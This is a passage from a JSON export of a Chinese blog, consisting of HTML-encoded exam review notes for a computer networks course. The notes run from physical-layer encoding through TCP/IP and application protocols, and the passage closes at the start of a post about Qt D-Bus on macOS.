NRZ-I)\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eNRZ-L:正负电平分别表示两个不同的二进制数\u003c/li\u003e\u003cli\u003eNRZ-I:有反相表示 1,无反相表示 0。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e归零码(RZ)\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e低-零电平表示 0,高-零电平表示 1。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e双相码(Manchester 和 Differential Manchester)\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e曼彻斯特编码:下降表示 0,上升表示 1。\u003c/li\u003e\u003cli\u003e差分曼彻斯特编码:(曼彻斯特 + NRZ-I)反相表示下一位是 0,无反相表示下一位是 1。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e双极性编码(AMI 和伪三进制码)\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eAMI:零电平表示 0,交替的正负电平表示 1。\u003c/li\u003e\u003cli\u003e伪三进制码:零电平表示 1,交替的正负电平表示 0。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e多电平编码(mBnL,2B1Q、8B6T、MLT-3)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e块编码:4B/5B、8B10B\u003c/li\u003e\u003cli\u003e扰码:B8ZS 和 HDB3\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e脉码调制 PCM:采样、量化等级、量化误差\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e采样率\u003c/strong\u003e:$f_s=\\frac{1}{T_s}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $f_s$ 是采样率,$T_s$ 是采样间隔。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e$f_s=2f$,其中 $f$ 是奈奎斯特速率,此时能够最低成本达到最好的采样效果。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e量化等级\u003c/strong\u003e:$n_b=\\log_2 L$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $L$ 为量化等级数,$n_b$ 为编码位数。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e量化误差\u003c/strong\u003e:$SNR_\\text{dB}=6.02n_b+1.76\\text{ dB}$\u003c/li\u003e\u003cli\u003e最大带宽:$N=f_s\\times n_b=2\\times B\\times \\log_2 L \\text{ bps}$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003eDelta调制的概念\u003c/li\u003e\u003cli\u003e传输模式:异步传输、同步传输、并行传输、串行传输的概念\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_167\"\u003e5. 模拟传输\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e比特率和波特率\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e比特率是每秒发送的位数, 波特率是每秒发送的信号元素数。 在数字数据模拟传输中, 波特率小于等于比特率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$S=N\\times \\frac{1}{r} \\text{波特}$$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $N$ 是数据速率(bps),$r$ 是一个信号元素携带的数据个数。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e数字到模拟转换\u003c/p\u003e\u003col\u003e\u003cli\u003eASK 的概念及 ASK 的带宽\u003c/li\u003e\u003cli\u003eFSK 的概念及 BFSK 的带宽\u003c/li\u003e\u003cli\u003ePSK、BPSK、QPSK 和 QAM 的概念\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e模拟信号调制\u003c/p\u003e\u003col\u003e\u003cli\u003eAM、FM 和 PM 的概念\u003c/li\u003e\u003cli\u003eAM 带宽、FM 带宽和 PM 带宽\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_168\"\u003e6. 带宽利用\u003c/h3\u003e\u003col\u003e\u003cli\u003e复用:FDM(频分复用)、同步 TDM、统计 TDM 和 WDM(波分复用)的概念\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数字层次、T1 载波、E1 载波\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e电话公司通过一种数字信号的层次结构实现 TDM ,称为数字信号或\u003cstrong\u003e数字层次结构\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003eT1:速率 1.544 Mbps,语音通道:24\u003c/li\u003e\u003cli\u003eE1:速率 2.048 Mbps,语音通道:30\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e波分和码分的概念\u003c/li\u003e\u003cli\u003e扩频:FHSS 和 DSSS 的概念\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_169\"\u003e7. 传输介质\u003c/h3\u003e\u003col\u003e\u003cli\u003e导向介质:双绞线、同轴电缆和光纤的概念\u003c/li\u003e\u003cli\u003e无线传输介质:无线波普、无线电波、微波和红外波\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_170\"\u003e8. 交换\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e电路交换的概念\u003c/p\u003e\u003cul\u003e\u003cli\u003e电路交换网是由物理链路连接一组交换机组成,每条链路划分成 n 个通道。电路交换在物理层进行。在电路交换中,建立阶段期间必须预留资源,整个数据传输期间资源保留专用直到拆除阶段。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e数据包交换的概念\u003c/p\u003e\u003cul\u003e\u003cli\u003e在数据报网络中,每个分组独立处理与其他分组无关。这个方法的分组称为数据报。没有建立阶段和拆除阶段。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e虚电路交换的概念\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚电路网络是结合电路交换网络与数据报网的产物。它具有两者一些特性。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e三种交换的优缺点\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_171\"\u003e数据链路层\u003c/h2\u003e\u003cp\u003e成帧,物理寻址,流量控制,差错控制,访问控制\u003c/p\u003e\u003ch3 id=\"toc_172\"\u003e10. 检错与纠错\u003c/h3\u003e\u003col\u003e\u003cli\u003e差错的类型\u003c/li\u003e\u003cli\u003e块编码\u003c/li\u003e\u003cli\u003e差错检测的方法\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e纠错的概念与方法:汉明距离、最小汉明距离、检错和纠错的最小汉明距离\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e检错最小汉明距离:$d_\\text{min}=s+1$\u003c/li\u003e\u003cli\u003e纠错最小汉明距离:$d_\\text{min}=2t+1$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e线性块编码:线性块编码的距离、简单奇偶校验编码、两维奇偶校验编码、汉明码\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e循环冗余编码 CRC(不包含硬件实现)(注意除数的长度)\u003c/strong\u003e、CRC的检错能力分析(检测单个位差错、两个独立的位差错、奇数个差错、突发性差错)\u003c/li\u003e\u003cli\u003e校验和及其计算方法\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_173\"\u003e11. 数据链路控制\u003c/h3\u003e\u003col\u003e\u003cli\u003e组帧\u003c/li\u003e\u003cli\u003e\u003cp\u003e流量控制和差错控制的概念\u003c/p\u003e\u003col\u003e\u003cli\u003e流量控制:是一系列程序,用来限制发送方在等到确认之前发送的数据数量。\u003c/li\u003e\u003cli\u003e差错控制:使得接收方能够提示发送方在传输过程中有帧的丢失或破坏, 井协调发送方重新传输这些帧 。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e停止等待 ARQ\u003c/strong\u003e、\u003cstrong\u003e后退 N 帧 ARQ\u003c/strong\u003e 和\u003cstrong\u003e选择重发 ARQ\u003c/strong\u003e、\u003cstrong\u003e窗口\u003c/strong\u003e、\u003cstrong\u003e最大链路利用率\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e滑动窗口:大小必须 $\u0026lt; 2^m$,其中 $m$ 是序列号的位数。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e最大链路利用率\u003c/strong\u003e(一般忽略 ACK 传输时间)\u003cbr\u003e$$\\eta=\\frac{T_\\text{传输}}{T_\\text{传输}+T_\\text{传播}+T_\\text{ACK传输}}$$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_174\"\u003e12. 多路访问\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e随机访问:纯 ALOHA、时隙 ALOHA、\u003cstrong\u003eCSMA\u003c/strong\u003e、\u003cstrong\u003eCSMA/CD\u003c/strong\u003e、CSMA/CA。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e纯 ALOHA\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e脆弱时间:$2\\times T_\\text{fr}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $T_\\text{fr}$ 为一个帧的平均传输时间\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e吞吐量:$S=G\\times e^{-2G}$。当 $G=\\frac{1}{2}$ 时,最大 $S_\\text{max}=0.184$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $G$ 为一个帧传输时间内系统产生的帧的平均数量\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e时隙 ALOHA\u003c/p\u003e\u003col\u003e\u003cli\u003e脆弱时间:$T_\\text{fr}$\u003c/li\u003e\u003cli\u003e吞吐量:$S=G\\times e^{-G}$。当 $G=1$ 时,最大 $S_\\text{max}=0.368$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eCSMA(载波侦听多路访问)\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e脆弱时间:传播时间 $T_p$\u003c/li\u003e\u003cli\u003e持续方法:1-持续方法(一直侦听,易冲突)、非持续方法(随机等待,效率低)、p-持续方法(时隙)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eCSMA/CD(带冲突检测的载波侦听多路访问)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e最小帧长\u003c/strong\u003e:帧传输时间 $T_r$ 至少是最大传播时间 $T_p$ 的两倍($T_\\text{fr}\\ge 2\\times T_p$)。\u003c/li\u003e\u003cli\u003eCSMA/CA(带避免冲突的载波侦听多路访问)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e最小帧长\u003c/strong\u003e、\u003cstrong\u003e传播时延\u003c/strong\u003e、\u003cstrong\u003e传输时延\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e受控访问:预约、轮询、令牌环(了解)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_175\"\u003e13. 有线局域网:以太网\u003c/h3\u003e\u003col\u003e\u003cli\u003eIEEE 标准:LLC(逻辑链路控制层)和 MAC(介质访问控制层)\u003c/li\u003e\u003cli\u003e\u003cp\u003e标准以太网(10 Mbps)的 MAC 子层:帧格式、\u003cstrong\u003eMAC 地址(6 字节,48 位)\u003c/strong\u003e、\u003cstrong\u003e最短帧长(64 字节,512 比特)\u003c/strong\u003e、编码和解码\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eMAC 地址\u003c/strong\u003e:单播地址(第一个字节的最低位为 0),多播地址,广播地址(所有位均为 1)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e桥接以太网、交换式以太网、全双工以太网\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_176\"\u003e14. 无线局域网\u003c/h3\u003e\u003col\u003e\u003cli\u003eWLAN 体系结构与 IEEE 802.11 标准\u003c/li\u003e\u003cli\u003e802.11 MAC子层、帧结构\u003c/li\u003e\u003cli\u003e802.11 物理层、寻址方式、隐蔽终端和暴露终端\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_177\"\u003e15. 连接局域网、主干网和虚拟局域网\u003c/h3\u003e\u003col\u003e\u003cli\u003e连接设备:无源集线器、\u003cstrong\u003e中继器(可以再生信号)\u003c/strong\u003e、\u003cstrong\u003e有源集线器\u003c/strong\u003e、网桥、\u003cstrong\u003e透明网桥\u003c/strong\u003e、生成树、\u003cstrong\u003e二层交换机(有许多端口的网桥)\u003c/strong\u003e、\u003cstrong\u003e路由器\u003c/strong\u003e、三层交换机(本质是路由器)、网关。\u003c/li\u003e\u003cli\u003e虚拟局域网(VLAN):\u003cstrong\u003e概念\u003c/strong\u003e、划分方法。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_178\"\u003e网络层\u003c/h2\u003e\u003cp\u003e逻辑寻址和路由选择\u003c/p\u003e\u003ch3 id=\"toc_179\"\u003e19. 逻辑寻址\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003eIPv4 地址:A、B、C、D 和 E 类地址、掩码、子网和超网\u003c/p\u003e\u003col\u003e\u003cli\u003e掩码:IP 地址与掩码按位与,得到网络号。\u003c/li\u003e\u003cli\u003e五类地址\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e类\u003c/th\u003e\u003cth\u003e首字节二进制\u003c/th\u003e\u003cth\u003e首字节十进制\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eA\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e0XXX XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e0-127\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eB\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e10XX XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e128-191\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eC\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e110X XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e192-223\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eD\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e1110 XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e224-239\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eE\u003c/td\u003e\u003ctd\u003e\u003ccode\u003e1111 XXXX\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e240-255\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e子网划分\u003c/strong\u003e(做题,偏应用)\u003c/li\u003e\u003cli\u003eNAT 的概念\u003c/li\u003e\u003cli\u003eIPv6 地址(128 位,8 部分,每部分 2 字节)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_180\"\u003e20. IP 协议\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eIP 分组(数据报)的格式\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e头部(IPv4)\u003c/p\u003e\u003cul\u003e\u003cli\u003e版本(4)\u003c/li\u003e\u003cli\u003e头部长度(4)\u003c/li\u003e\u003cli\u003e服务(8)\u003c/li\u003e\u003cli\u003e总长度(16)\u003c/li\u003e\u003cli\u003e标识(16)\u003c/li\u003e\u003cli\u003e标记(3)\u003c/li\u003e\u003cli\u003e分段偏移(13)\u003c/li\u003e\u003cli\u003e生存时间(8)\u003c/li\u003e\u003cli\u003e协议(8)\u003c/li\u003e\u003cli\u003e头部检验和(16)\u003c/li\u003e\u003cli\u003e源 IP 地址(32)\u003c/li\u003e\u003cli\u003e目的 IP 地址(32)\u003c/li\u003e\u003cli\u003e选项\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e分片与 MTU(最大传输单元)\u003c/strong\u003e,最大帧长:1518 bytes\u003c/p\u003e\u003cul\u003e\u003cli\u003e标识,标记,分段偏移三个字段与分段相关(P390)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eIPv4 校验和:划分为 16 位的部分计算\u003c/li\u003e\u003cli\u003e\u003cp\u003eIPv6 分组格式、长度\u003c/p\u003e\u003cul\u003e\u003cli\u003e基本头部(40 字节)\u003c/li\u003e\u003cli\u003e\u003cp\u003e有效载荷(最长 65535 字节)\u003c/p\u003e\u003cul\u003e\u003cli\u003e扩展头部(可选)\u003c/li\u003e\u003cli\u003e来自上层的数据\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eIPv4 向 IPv6 过渡\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_181\"\u003e21. 地址映射、差错报告和多播\u003c/h3\u003e\u003col\u003e\u003cli\u003eARP(地址解析协议):\u003cstrong\u003e概念\u003c/strong\u003e、分组格式、封装、4 种操作\u003c/li\u003e\u003cli\u003eDHCP(动态主机配置协议)\u003c/li\u003e\u003cli\u003e\u003cp\u003eICMP:概念、报文格式、\u003cstrong\u003e5 种差错报告报文\u003c/strong\u003e(常考)、查询报文。\u003c/p\u003e\u003col\u003e\u003cli\u003e报文格式:类型(8),代码(8),校验和(16)……\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e差错报告报文\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e目的端不可达\u003c/li\u003e\u003cli\u003e源端抑制\u003c/li\u003e\u003cli\u003e时间超时\u003c/li\u003e\u003cli\u003e参数问题\u003c/li\u003e\u003cli\u003e重定向\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e查询报文\u003c/p\u003e\u003col\u003e\u003cli\u003e回送请求和回答\u003c/li\u003e\u003cli\u003e时间戳请求和回答\u003c/li\u003e\u003cli\u003e地址掩码请求和回答\u003c/li\u003e\u003cli\u003e路由器询问和通告\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003eIGMP\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_182\"\u003e22. 传递、转发和路由选择\u003c/h3\u003e\u003col\u003e\u003cli\u003e转发技术和转发过程\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e路由表\u003c/strong\u003e、\u003cstrong\u003e地址聚合\u003c/strong\u003e和\u003cstrong\u003e最长掩码匹配\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eDijkstra 算法\u003c/strong\u003e和 \u003cstrong\u003eBellman-Ford 算法\u003c/strong\u003e(常考,占分大)\u003c/li\u003e\u003cli\u003e\u003cp\u003e单播路由协议:\u003cstrong\u003eAS 的概念\u003c/strong\u003e、\u003cstrong\u003eRIP 协议(路由选择信息协议)\u003c/strong\u003e(基于距离)和 \u003cstrong\u003eOSPF 协议(开放最短路径优先协议)\u003c/strong\u003e(基于链路状态)\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003eAS(Autonomous System,自治系统)\u003c/strong\u003e:一个单一的管理机构管辖下的一组网络和路由器。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eRIP 协议\u003c/strong\u003e:跳数衡量距离\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOSPF 协议\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e多播概念、多播路由(了解)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_183\"\u003e传输层\u003c/h2\u003e\u003cp\u003e服务点寻址,分段和组装,连接控制,流量控制,差错控制\u003c/p\u003e\u003ch3 id=\"toc_184\"\u003e23. UDP、TCP 和 STCP\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e端口、套接字\u003c/p\u003e\u003cul\u003e\u003cli\u003e端口:使运行在不同操作系统的计算机的应用进程能够相互通信\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eUDP 协议:概念、\u003cstrong\u003e数据报结构\u003c/strong\u003e、\u003cstrong\u003e校验和的计算\u003c/strong\u003e、UDP 的操作、\u003cstrong\u003e常用端口号\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数据报结构\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e头部\u003c/p\u003e\u003cul\u003e\u003cli\u003e源端口号(16)\u003c/li\u003e\u003cli\u003e目的端口号(16)\u003c/li\u003e\u003cli\u003e总长度(16)\u003c/li\u003e\u003cli\u003e校验和(16)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e校验和的计算\u003c/strong\u003e:伪头部 + 头部\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e伪头部\u003c/p\u003e\u003cul\u003e\u003cli\u003e源 IP 地址(32)\u003c/li\u003e\u003cli\u003e目的 IP 地址(32)\u003c/li\u003e\u003cli\u003e全 0(24)\u003c/li\u003e\u003cli\u003e协议(8)\u003c/li\u003e\u003cli\u003eUDP 总长度(16)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e常用端口号:DNS(53)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eTCP 的特点与服务\u003c/strong\u003e、\u003cstrong\u003e流传递\u003c/strong\u003e、\u003cstrong\u003e段格式\u003c/strong\u003e、\u003cstrong\u003e常用端口号\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e段格式\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e头部\u003c/p\u003e\u003cul\u003e\u003cli\u003e源端口地址(16)\u003c/li\u003e\u003cli\u003e目的端口地址(16)\u003c/li\u003e\u003cli\u003e序列号(32)\u003c/li\u003e\u003cli\u003e确认号(32)\u003c/li\u003e\u003cli\u003e头部长度(4)\u003c/li\u003e\u003cli\u003e保留(6)\u003c/li\u003e\u003cli\u003e标记(6),分别表示 URG、ACK、PSH、RST、SYN、FIN\u003c/li\u003e\u003cli\u003e窗口大小(16)\u003c/li\u003e\u003cli\u003e校验和(16)\u003c/li\u003e\u003cli\u003e紧急指针(16)\u003c/li\u003e\u003cli\u003e选项\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e常用端口号\u003c/strong\u003e\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e端口\u003c/th\u003e\u003cth\u003e协议\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e7\u003c/td\u003e\u003ctd\u003eEcho\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e9\u003c/td\u003e\u003ctd\u003eDiscard\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e11\u003c/td\u003e\u003ctd\u003eUsers\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e13\u003c/td\u003e\u003ctd\u003eDaytime\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e17\u003c/td\u003e\u003ctd\u003eQuote\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e19\u003c/td\u003e\u003ctd\u003eChargen\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e20\u003c/td\u003e\u003ctd\u003eFTP 数据\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e21\u003c/td\u003e\u003ctd\u003eFTP 控制\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e23\u003c/td\u003e\u003ctd\u003eTelnet\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e25\u003c/td\u003e\u003ctd\u003eSMTP\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e53\u003c/td\u003e\u003ctd\u003eDNS\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e67\u003c/td\u003e\u003ctd\u003eBOOTP\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e79\u003c/td\u003e\u003ctd\u003eFinger\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e80\u003c/td\u003e\u003ctd\u003eHTTP\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e111\u003c/td\u003e\u003ctd\u003eRPC\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eTCP 三次握手\u003c/strong\u003e(建立连接和拆除连接)、\u003cstrong\u003e数据传输过程\u003c/strong\u003e、\u003cstrong\u003e序列号\u003c/strong\u003e、\u003cstrong\u003e确认号\u003c/strong\u003e(ACK 不占序列号)\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e三次握手\u003c/p\u003e\u003col\u003e\u003cli\u003e客户端→服务器(SYN)占用序列号\u003c/li\u003e\u003cli\u003e服务器→客户端(SYN+ACK)占用序列号\u003c/li\u003e\u003cli\u003e客户端→服务器(ACK)不占用序列号\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP 流量控制\u003c/strong\u003e(信贷滑窗协议)、\u003cstrong\u003eTCP 差错控制\u003c/strong\u003e(校验和,确认,超时)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_185\"\u003e24. 拥塞控制和服务质量\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003eTCP 拥塞控制(慢启动、拥塞避免)\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e慢启动\u003c/strong\u003e:指数增长。每次收到一个确认时,窗口大小增加。窗口是慢速启动,但是按指数规则增长的。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e拥塞避免\u003c/strong\u003e:加性增加。当拥塞窗口的大小达到慢速启动的阈值时,慢速启动阶段停止,加性增加阶段开始。\u003c/li\u003e\u003cli\u003e拥塞检测:乘性减少。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_186\"\u003e应用层\u003c/h2\u003e\u003cp\u003e(通常和网络层结合考)\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e会话层\u003c/strong\u003e:对话控制,同步\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e表示层\u003c/strong\u003e:翻译,加密,压缩\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e应用层\u003c/strong\u003e:网络虚拟终端,文件传输访问管理,邮件服务,目录服务\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_187\"\u003e25. 域名系统\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003eDNS 工作原理\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e域名空间、通用域、国家域和反向域\u003c/li\u003e\u003cli\u003e域名解析\u003c/li\u003e\u003cli\u003eDNS 报文\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_188\"\u003e26. 远程登录、电子邮件和文件传输\u003c/h3\u003e\u003col\u003e\u003cli\u003eTelnet 原理\u003c/li\u003e\u003cli\u003e电子邮件:电子邮件架构、邮件报文、SMTP 和 MIME、POP3 和 IMAP\u003c/li\u003e\u003cli\u003e文件传输:\u003cstrong\u003eFTP 的原理\u003c/strong\u003e、FTP 的连接、FTP 的传输方式\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_189\"\u003e27. 万维网和超文本传输协议\u003c/h3\u003e\u003col\u003e\u003cli\u003eURL、Cookies 概念\u003c/li\u003e\u003cli\u003eHTTP 概念、报文结构、HTTP 操作\u003c/li\u003e\u003c/ol\u003e\n","url":"https://hawa130.com/archives/830/"},{"title":"Qt D-Bus 在 macOS 平台的使用","time":"2022-05-08T12:01:00Z","content":"D-Bus 与 Qt最近的操作系统实验要求写个进程间通信程序,我注意到了 D-Bus 这个可以双向通信的协议,它能够通知到接收方。D-Bus 协议是 Unix 平台下的用于进程间通信(IPC,I...\u003chr /\u003e\n\u003ch2 id=\"toc_190\"\u003eD-Bus 与 